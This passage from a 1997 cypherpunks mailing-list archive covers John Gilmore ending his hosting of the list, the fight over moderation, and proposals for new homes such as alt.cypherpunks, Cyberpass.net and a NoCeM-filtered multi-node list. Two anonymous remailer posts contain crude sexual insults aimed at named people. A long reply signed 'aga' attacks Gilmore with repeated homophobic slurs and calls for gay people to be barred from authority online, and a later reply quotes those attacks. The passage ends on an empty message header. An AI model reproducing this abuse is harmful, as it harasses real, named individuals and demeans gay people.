Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the
moderator of the famous bugtraq mailing list.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 06:07:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: URLs for public keys
Message-ID: <199702121407.HAA24520@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceptive Vinegar's aberrant sexual life has negatively impacted his
mental integrity.

   ____
   \ _/__ Deceptive Vinegar
    \\  /
      \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Feb 1997 07:10:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Forgery detection
Message-ID: <199702121510.HAA05328@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[rook] Maya's police record is many times 
longer than his prick (well, that's not hard).

 /\        /\
+  \______/  +
   / .  . \
  <   /    >
   \ \--/ /
    ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 12 Feb 1997 04:56:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <33008CCE.28E0@gte.net>
Message-ID: <Pine.LNX.3.95.970212072753.3144A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 11 Feb 1997, Dale Thorn wrote:

> John Gilmore wrote:
> > Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> > submitted a posting containing nothing but libelous statements about
> > Sandy's employer.  He never anticipated that he wouldn't be able to
> > follow his announced "post it to one list or the other" policy because
> > to do so would make him legally liable (in his opinion; he's a lawyer,
> > I'm not).  

That was just -bullshit-  There is no legal liability whatsoever
to the moderating of any mailing list.  All Sandy did was make an
excuse to be a censor.

> > His gears jammed, and the whole machine came to a halt for
> > a few days.
> 

The whole machine is broken, so throw it away.

> Naturally he hit a pothole.  Censorship has its price, and you
> folks just discovered it.  But censors never give up, do they?
> Especially when there are hidden agendas.
> 
> > Sandy has agreed to continue moderation through the end of the
> > original 1-month experiment (through Feb 19).  And it's a good thing,
> > too, because the "cypherpunks community" had better get off its
> > whining butt in the next ten days, or it will no longer exist.
> 
> John Gilmore is so disrespectful of the human beings on this list
> that he whines and complains about their "attitudes", as though
> he had a right to control them.  What a jerk.
> 

Yes, and just why is Gilmore such a jerk?  Could his homosexuality
have anything to do with it?

> > I've come to the conclusion that I'm not willing to host the
> > cypherpunks list any more.  

Good.  You are a bad example of todays modern CyberNaut Netizen, and 
queers like you should go away, so we can clean up this InterNet and
make it a good place for straight people.

> > It's not the true assholes that brought me
> > to this decision; it's the reaction from the bulk of people on the
> > list: suspicion, flamage, and criticism with every attempt to improve
> > things.  I noticed few people volunteering some of their own time,
> > money, or machines to help out.  Almost all the suggestions were
> > advice for *other* people to implement:
> 

Maybe they just wanted you to leave, Gilmore.  After all, your EFF has
ruined the reputation of the InterNet, and your homosexuality is a bad
sign.  Homos should not be allowed to have any authority positions
anyplace on the net.

> Not willing because of some additional burden?  No.  It's because you
> were outed as a censor and a jerk, and you can't get back the respect
> you previously had.  The sour grapes you're displaying here are worthy
> of a little child, not an adult.
> 
> > Now each of these posters will get their chance to do it "right" --
> > on their own time and with their own resources.
> 
> Read: I'm gonna take my bat and ball and go home...
> 

Let us hope that the whole EFF goes down the drain with him.

> > A large fraction of the list seems to think that "freedom of speech"
> > means that everyone is required to listen to everyone else at all
> > times.  That there can't be focused, topical conversations in a
> > society that has freedom of speech.  I would say the opposite; part of
> > freedom of speech is the freedom to choose to whom we speak and to
> > whom we listen.  This is part of what cryptography does: lets us
> > control who can receive our speech, and lets recievers determine who
> > the speaker is.
> 
> Everything was fine until you decided to screw it up.  Then your
> emotional, denying little brain trys to blame it on everyone else.
> 

Another common sign of a homosexual personality.

> > There also seems to be a misunderstanding that freedom of speech
> > requires that people who want to speak already have a place, set up
> > and maintained by someone else, for them to speak in.
> 
> There are places to speak, and people try to speak in those places.
> When they are cut off, then they complain.  Nobody complained before
> you had an open forum that you weren't providing same.  That's your
> denial kicking up, not mine.
> 
> > If someone
> > who's set up a speech-place decides it isn't being used for its
> > intended purpose, then they are a censor, stopping all possibility of
> > conversations.  Did you forget that there are millions of other places
> > to speak in cyberspace, millions more in realspace, and that you can
> > personally create more if you don't like any of the ones you know about?
> 

This all goes to usenet as mail.cypherpunks, you know.

> Intended purpose?  Did you really believe that setting up an open
> forum gave you the right (or any option) to control the content?
> Are you so immature that you can't handle complaints?
> 
> > To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> > ass.  You think you're being censored when you're just being excluded
> > from a forum because what you're saying isn't interesting to that forum.
> 

Zappa is irrelevant here.  And stop trying to sell censorship as
whatever is "interesting" to that forum.  

> I know a lot of things, especially after they've bit be in the ass.
> Especially about censors and CIA-related trolls like yourself, who
> set up forums to collect info on unsuspecting American citizens.
> Made any "yeti" expeditions lately?
> 
> > So anyway, I'm tired of it all.  I'd much rather focus on getting my
> > crypto work done than babysitting majordomo, tracking down attempts to
> > subscribe the entire US Congress to the list, and debating the seventy
> > or eighty "obvious right ways" to handle the list.
> 
> Read: I need to find a new troll that's not being sabotaged by
> alert citizens.
> 
> > This is a "put up or shut up" to the cypherpunks community.
> > Either you list denizens will, among yourselves, put in the energy to
> > build a new home for the list (and run it in whatever way your
> > volunteers want) by Feb 20, or the list will cease to exist on Feb 20.
> 

You can start any new list you want at cypherpunks@pgh.org

They will provide a free address and majordomo location.
And the mail.cypherpunks newsgroup shall suffice for now.

You leaving is no big thing, dude.

> Jeez, do you have an ego or what?  Who died and made you the king?
> Your only claim to fame is your equipment that's hosting the list.
> Your reputation is in the toilet.  You're nobody.  In fact, you're
> less than nobody.  Your best bet would be to crawl into a hole and
> pull the dirt in over you.
> 
> > The next ten days of moderated discussion, through the end of the
> > original experiment, will give the community a chance to discuss
> > whether and where it plans to host the list after the experiment is
> > over.  My feeling is that the stalkers who have been trying to shut it
> > down (Dimitri, etc) will be out in full force, trying to disrupt the
> > process of finding a new home.  It would be very hard to make progress
> > along that line in an unmoderated list.  Cypherpunks-unedited readers
> > are welcome to try.
> 
No, I will fix up a new address where Dimitri or anyone can run the
majordomo for free, if he wants.

> Yet another accusation that Dimitri's purpose is to "shut it down".
> The very fact that it's you who have the com puts the lie to that.
> 
> > Sandy reports that he's changing his criteria for moderation for the
> > remainder of the experiment.  It was his idea, and I approve.  The
> > criteria now are:
> 
> Another experiment run by the same incompetent bozo who screwed up
> the first experiment.  Don't you clowns ever get it?  You do, but
> then again, you have a hidden agenda.
> 
> >         *  The topics of the list are:
> >                 cryptography
> >                 setting up replacements for cypherpunks@toad.com
> >         *  On-topic, legal, posts will go to the list.

Now just WHAT the fuck do you think is "illegal?"

> >         *  Postings with any hint of legal liability (in Sandy's opinion)
> >            will be silently ignored.

Sandy is not a very smart Lawyer, and he is only using that as an
excuse to censor.

> >         *  Legal but off-topic posts will go to cypherpunks-flames.
> > 
> > Sandy will apply these criteria retroactively to the backlog (of about
> > 140 messages), which means that most recent criticisms of the
> > moderation (which don't invove someone volunteering to do things for
> > the list) will go straight to the flames list.  If you don't like it,
> > I recommend that you start your own list.  Soon.
> > 
> > For me it's a sad thing that the community's willingness to pull
> > together has degenerated to the point where I feel better off
> > separating from the list.  I hope that others in the community will
> > create one or several alternatives that work better.
> 

Face it John Gilmore, you are a known queer and queers are not
allowed to have any authority positions any more, because they
are the ones who have aggregated and ruined the InterNet so far.
Queers are too unstable and untrustworthy, as has been shown again in
this instance.

> So you think you've fulfilled your obligation?  There's only one
> thing that will ever save you.  Get down on your knees and confess,
> saying to God and the list subscribers what a pathetic sinner you
> are, and beg for their forgiveness.  Then get to work for the people,
> and give up trolling for the feds.
> 

Just get rid of John Golmore, and that will be the first step in the
right direction.  The entire EFF is a BAD agency and it gives a bad
reputation to the rest of us good Organizations.

aga administrator
InterNet Freedom Council
ifc@pgh.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 05:02:32 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702120554.VAA07252@toad.com>
Message-ID: <199702121259.HAA05261@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
| i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
| and can join.

	While compitition is great (I think this is the second
replacement list?), having multiple cypherpunks lists is a recipie for
confusion and cross-posting, which there is already enough of on
cypherpunks.

	So, I'll make the following suggestion:

	Those who are willing to create lists work together so
that there is a single subscribe address, and a single submit address,
however many exploders exist.

	I would personally prefer to see the name cypherpunks lay
fallow for a while, and suggest cpunks or something similar.

	Note that I'm doing nothing more than making a suggestion.
Take it as my considered enthusiasm for the continuation of
cypherpunks as a list.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rah@shipwright.com (Robert A. Hettinga)
Date: Wed, 12 Feb 1997 05:22:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks lives! was Re: New group
In-Reply-To: <33019178.58622842@news.demon.co.uk>
Message-ID: <199702121322.IAA16222@maildeliver0.tiac.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


c'punks:

I went to look at news this morning, and I found the following:


In article <33019178.58622842@news.demon.co.uk>, paul@fatmans.demon.co.uk
(Paul Bradley) wrote:

| Well despite the obvious problems of propogation I thought it was time
| someone actually did something to get us a new home, even if it`s only
| temporary. So I have created alt.cypherpunks... See you all over on
| usenet!...


It seems this alt.cypherpunks thing was a lot easier than it looks.

Either that, or I have a clueful newsadmin. :-)

Cheers,
Bob

-- 
Robert Hettinga
e$
44 Farquhar Street
Boston, MA 02131
The e$ Home Page:  http://thumper.vmeng.com/rah/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 05:25:56 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE MY NAME
Message-ID: <970212132408_70401.3161_IHD71-2@CompuServe.COM>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE DO NOT FORWARD FURTHER CYPHERPUNKS MESSAGES TO MY E-MAIL ADDRESS.  THANK
YOU.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Wed, 12 Feb 1997 06:01:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970212072753.3144A-100000@dhp.com>
Message-ID: <3301CE12.4388@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> 
> That was just -bullshit-  There is no legal liability whatsoever
> to the moderating of any mailing list.  All Sandy did was make an
> excuse to be a censor.

  I hate censors Dr. Grubor.  Dave says hate is a destructive 
emotion but when properly channeled it can be quite valuable.
 
>> > His gears jammed, and the whole machine came to a halt for
>> > a few days.
>>
> 
> The whole machine is broken, so throw it away.
> 
>> Naturally he hit a pothole.  Censorship has its price, and you
>> folks just discovered it.  But censors never give up, do they?
>> Especially when there are hidden agendas.

  And they all have hidden agenda's--you've just seen this one
is all as it was so blatant.


>> John Gilmore is so disrespectful of the human beings on this list
>> that he whines and complains about their "attitudes", as though
> > he had a right to control them.  What a jerk.
> 
> Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> have anything to do with it?
> 

  I doubt his sexual preference has anything to do with anything
nor is it relevant.  Gilmore is just a censorous asshole--the
reasons for him being that way are rather irrelevant.


> Maybe they just wanted you to leave, Gilmore.  After all, your EFF has

  The EFF is a disgrace--they represent the interests of owners not
users--their money comes from large corporate sources and they
are nothing more than corporate whores as the ACLU has made clear.


> Just get rid of John Golmore, and that will be the first step in the
> right direction.  The entire EFF is a BAD agency and it gives a bad
> reputation to the rest of us good Organizations.

  Gilmore has no ethics--he's owned and operated by corporate
interests.

                           Steve


> 
> aga administrator
> InterNet Freedom Council
> ifc@pgh.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 09:02:19 -0800 (PST)
To: Greg Broiles <ichudov@algebra.com (Igor Chudov)
Subject: Re: List for discussing many majordomos
In-Reply-To: <199702120059.SAA20410@manifold.algebra.com>
Message-ID: <v03007801af27a9229bba@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 PM -0800 2/11/97, Greg Broiles wrote:

>At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
>
>>We can coordinate our efforts. Actually, we can even have a mini
>>mailing list for people who want to participate in the distributed
>>cypherpunks experiment. If there is any interest, I can create such
>>a list.
>
>Yes, this is a good idea. One of the proponents of the "many majordomos"
>project apparently has plans to impose his own ideas about intellectual
>property on the project, and this seems like a pretty serious thing for a
>setup that's allegedly going to prevent censorship. We need a place to
>discuss this.

I've noticed the same thing, and this is part of why I'm so skeptical of
the "many majordomos" notion. Some of the proponents have their own notions
of who is fit to be in their system, and which topics are appropriate.

If alt.cypherpunks gets wide propagation, I expect that'll be where I post
the bulk of my stuff.

By the way, several people have stepped forward to offer to host "the list"
(?) on their Linux boxes, or spare CPU cycles they have somewhere. It's
important that such offers be weighed carefully in terms of how serious the
commitment is, and how long the service might last.

(For you old-timers, we wouldn't want to have a repeat of the situation
where a remailer went down because "I took my laptop with me on vacation to
Spain.")

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:11:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Network of majordomos (fwd)
Message-ID: <199702121517.JAA01295@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 13:09:22 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Network of majordomos
> 
> I still think you're just rediscovering Usenet technology. Instead of
> installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
> you don't like alt.cypherpunks, you could simply start your own top-level
> cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
> an evil CIA brain-stealing censor) so that cpunks at large could connect with
> newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
> could do this (instead of using Majordomo) locally, connecting to each other
> to achieve wide propagation and low latency.
> 
> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.
> 
> Usenet technology does exactly what you're describing: it's a distributed
> database of messages designed to facilitate each server getting its own copy
> of every message, and holding it locally for distribution to interested
> readers. Other people have been kind enough to write, debug, and document the
> software - all you have to do is install it. This could be running tonight. 

Did you get it running last nite Greg? When do you expect to be able to
handle traffic?

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:17:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702121523.JAA01309@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 11:48:05 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.

Whoah Nelly. Tivoli - IBM has NOTHING to do with either my actions or
those of anyone else involved in this. Where exactly did you get this
information? It certainly hasn't come across any cpunks postings that I
have seen.

Check your facts bud.

                                                        Jim Choate
                                                        CyberTects
                                                        (not Tivoli -IBM)
                                                        ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 12 Feb 1997 02:07:51 -0800 (PST)
To: tcm@got.net
Subject: New group
Message-ID: <33019178.58622842@news.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Hi all, 

Well despite the obvious problems of propogation I thought it was time
someone actually did something to get us a new home, even if it`s only
temporary. So I have created alt.cypherpunks... See you all over on
usenet!...

Best regards...

Paul Bradley






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pjb@23kgroup.com (Paul J. Bell)
Date: Wed, 12 Feb 1997 08:29:01 -0800 (PST)
To: geer@openvision.com
Subject: No Subject
Message-ID: <9702121613.AA21509@23kgroup.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone know if Dan Geer is still receiving e-mail at:
geer@openvision.com ?  Dan, are you?

cheers,
	paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 12:23:59 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks Mailing List
Message-ID: <199702121937.LAA10820@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Gilmore
I know that this list has become something of a dead albatross with you, but
I was wondering if you would be willing to do the whole of us another favor.

As you have stated that this list will no longer reside on your machine any
longer.

And as several people have put forward thier own machines upon which to host
this forum in the future.

And as there are people who, though not currently subscribed, know about the
list and may wish to subscribe to the list in the future.

Could you please maintain at least the semblence of a list on your machine.
Not the actual list, but a pointer triggered by a post or majordomo request
concerning cypherpunks.  In this way, persons not currently subscribed but
knowledgeable about the list can find it in the future.

Such a system should be easy to set up, given that you probably already have
autoresponder bots in your hard drive, and would be a great service.

Would you please rig such a system after your deadline in place of the list
to point to which ever system currently has the most alternate traffic?
This would only need to be an interim measure as after a reasonably short
length of time people would get the idea that the list has moved.

Thank you for entertaining this request.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lile Elam <elam@art.net>
Date: Wed, 12 Feb 1997 12:20:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: House Science Subcommittee...
Message-ID: <199702121938.LAA22014@art.net>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks,

I am looking for more info on the ongoing House Science subcommittee
which is about computer technology and national security. I heard they
have folks talking about encryption and why it's important to use
technology and not legislation to protect people's privacy...

Theres a short article in the nando.net paper today about this 
committee at URL: 

   http://www.nando.net/newsroom/ntn/info/021197/info5_430.html

Dan Farmer talked yesterday...

thanks,

-lile





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arley Carter <ac@twinds.com>
Date: Wed, 12 Feb 1997 09:31:13 -0800 (PST)
To: "Robert A. Hettinga" <rah@shipwright.com>
Subject: Re: alt.cypherpunks lives! was Re: New group
In-Reply-To: <199702121443.GAA20454@toad.com>
Message-ID: <Pine.HPP.3.91.970212122734.4555E-100000@hawk.twinds.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Robert A. Hettinga wrote:

> It seems this alt.cypherpunks thing was a lot easier than it looks.
> 
> Either that, or I have a clueful newsadmin. :-)
> 
The only clueful newsadmins are ex-newsadmins. :-)

Cheers:
-arc

Arley Carter
Tradewinds Technologies, Inc.
Winston-Salem, NC  USA
email: ac@twinds.com
www: http://www.twinds.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:15:32 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007805af267b48b589@[207.167.93.63]>
Message-ID: <JTX12D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> >If the people decide for creation of a new USENET newsgroup,
> >we need to think very hard about actually moving it to a different
> >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> >
> >A comp.* or sci.* newsgroup, if created, has the following advantages
> >over an alt.* newsgroup:
> >
> >1) There is usually less spam in sci.* or comp.*
> >2) There are virtually no completely irrelevant flamewars
> >3) The propagation will be a lot better
> >4) More people will be able to read it because of the issue of providers
> >   not carrying alt.*.
> >
> >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> >alt.* newsgroup.
> 
> Sure, and this has come up in every past discussion of creating
> "alt.cypherpunks."
> 
> But the creation of alt.cypherpunks is _easy_, and needs little permission
> or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> takes work, requires a vote, blah blah blah. And so it never gets off the
> ground.
> 
> (Nor is it clear to me, and perhaps not to others, that it belongs in the
> the various places Igor mentioned. Comp.org.cypherpunks probably is the
> best fit, but then many would cite the "comp" part to try to insist that
> only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> sci, or comp, or soc, or even talk.)
> 
> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.
> 
> I still feel that the time has come to move virtual forums such as ours out
> of U.S. jurisdictions. Given that most European nations are worse in some
> ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
> recommend the alt.cypherpunks as the best overall compromise.

(I apologize to everyone whose e-mail has gone unanswered this week - I've
had a bunch of other stuff to do, but I'll get to it eventually. Also, I posted
the Anshel+Goldfield zeta function paten number - do check it out.)

Random thoughts:

1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
corprate news servers that don't carry alt.* (or even soc.*). Note that
soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
newsservers don't carry soc.* and talk.* can use dejanews - provided their
firewall lets them.)

2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
It takes a vote. I'm willing to be one of the proponents and generally help
with the process. (Both I and Igor have been co-proponents of major Usenet
newsgroups - don't know about other people onthis list. :-)

3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
list. I've been thinking of how to deal with crap, and with the obvious desire
by some people to delegate their decision what to read and what not to read
to other people. 

While cpunks@toad worked, one could subscribe to a filtered version offered
by at least 2 people. There was no easy way to get those articles that either
filterer considered worth reading: if you subscribed to both lists, you'd get
most articles twice.

Here's a proposal: anyone should be free to issue 'highlight' NoCeM's for the
unmoderated cypherpunks newsgroups. Perhaps there will be a 'bot immediately
highlighting submissions from well-known posters.

Someone reading the newsgroup with a nocem-enabled newsreader (such as gnu)
can choose to read only those articles that one of the filterers he trusts
has already marked as worthy of his attention. (E.g. Sandy can issue NoCeMs
to his heart's content.) However the filterer can't stop someone from not
using NoCeMs and reading the entire newsgroup traffic without incurring
moderation delays.

Most people don't have nocem-enabled newareaders yet... Which is where the
network of cypherpunks majordomos Igor's been busy creating comes in very
handy. 

When one of the nodes in the distributed cpunks2news gateway gets a submission,
it should xmit it to the other known gateways and post it to Usenet. Also it
should grab postings from the Usenet newsgroup and forward them to its mailing
list. However in addition to the unedited mailing list, some gateways can
choose to offer a filtered list controlled by one or more nocem issuers:
i.e. one might be able to subscribe to cypherpunked-filtered-by-either-
ray-or-sandy and receive articles only when the gateway receives a
nocem from one of the two listing their message-ids. (Better yet, one
might specify in the subscription which filterers to use.)
I don't think this is a very hard thing to hack up.

Sorry for the typoes: now Imust run, but I'd beinterested in the feedback on
these thoghts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:12:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <v0300787caf26a49a5a97@[139.167.130.246]>
Message-ID: <aTy12D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:

> Hey, folks,
> 
> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.
> 
> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.
> 
> It's not like we want comp.cypherpunks or something, with a voting process,
> right?

The voting process is not that bad - it'll easily pass if a fraction of
people now subscribed to this mailing list votes yes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:14:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks@Cyberpass.net New List
Message-ID: <v03007803af27dc440e53@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I am gratified to see that several people have stepped forward to offer
their services to host this list. I have been contacted by various list
members to host the list here at Infonex. I think there are several reasons
I was approached to do this.

As a long time remailer operator I am used to taking heat for the services
I offer, and dealing with attacks on the services I run. As the owner and
President of Infonex, the list is in no danger of being pulled by the
administration of this site. As the author of Mixmaster I am reasonably
well known (and I hope respected) member of the list. I have been
completely uninvolved in the politics which have plagued the list of late.

I personally favor the multi-node list model, where no one site can censor
the list, the loss of any one node is not catastrophic, and the load on any
one machine is not excessive. Unfortunately I don't think it will be up and
functional in time for the transition. I have already set up the list on my
majordomo server and subscribers are welcome now. The list address is
cypherpunks@Cyberpass.net and the subscription address is
majordomo@Cyberpass.net. The list on my server is subscribed to the
unedited version of the current cypherpunks list. Once the multi-node list
system is perfected I will integrate this list with the other nodes.

Having dealt with the abuse heaped on remailer operators, I think I have an
inkling of what John Gilmore has withstood for years. He has agreed to
forward his list to mine (and possibly others) for a while after the 20th.

It is my opinion that the primary Cypherpunks list should be completely
uncensored and unfiltered. An ecology of filtered lists has developed in
exactly the way many predicted they should. For the record I regularly read
only a filtered version of the list, and subscribe to the full list only to
be able to read referenced articles which were filtered.

	-Lance Cottrell

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMwIyFMogYxMMzklZAQFTzAf+Jya8WIdWpZhyialw6GtGbj3D4mQp0PRJ
+J4cBn3qCXX4sLkPcO9Cn0+3Sea20yclvZh9KXXlVM8RxGwzOhVeDDzuQ8dX+LwG
QQDdjYfzUAyoSk3OJjWj92DXEZmyEGerahYdoIB7HkIkFw+OY6lJ56cTYUZvKlHe
XkJakJ7F5zKdZitvx3wl7Qj6j2lMUh3SegDKz4Ig+WoOe7odbN2F6FDbp1t8WlvI
b5YjhwsaOXJ56/ZuWDUuK/yjgq7obPHCtdR3jANIq+Ch01HD+idsU/CH4GCwgiNU
7/GLO+FWlrjL3QIVrl13GiixJFu70Ng37KMAbkoaPqL1Cnip1A4g/g==
=fcW6
-----END PGP SIGNATURE-----

----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/ 

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:13:45 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122112.NAA22766@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


"Against Moderation" writes:
> Your bigotry seriously undermines the effectiveness of any
> anti-censorship arguments you make.  Are you just trying to get
> everyone to hate those who oppose censorship on cypherpunks.  

The relevance and applicability of an anti-censorship argument has
nothing to do with the non-related personal positions of advocates or
opponents of that argument.

Arguments should not be won or lost by the reputation of the arguer
or one risks one's own manipulation by irrelavent data.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "chefren" <chefren@pi.net>
Date: Wed, 12 Feb 1997 04:15:37 -0800 (PST)
To: John Gilmore <cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
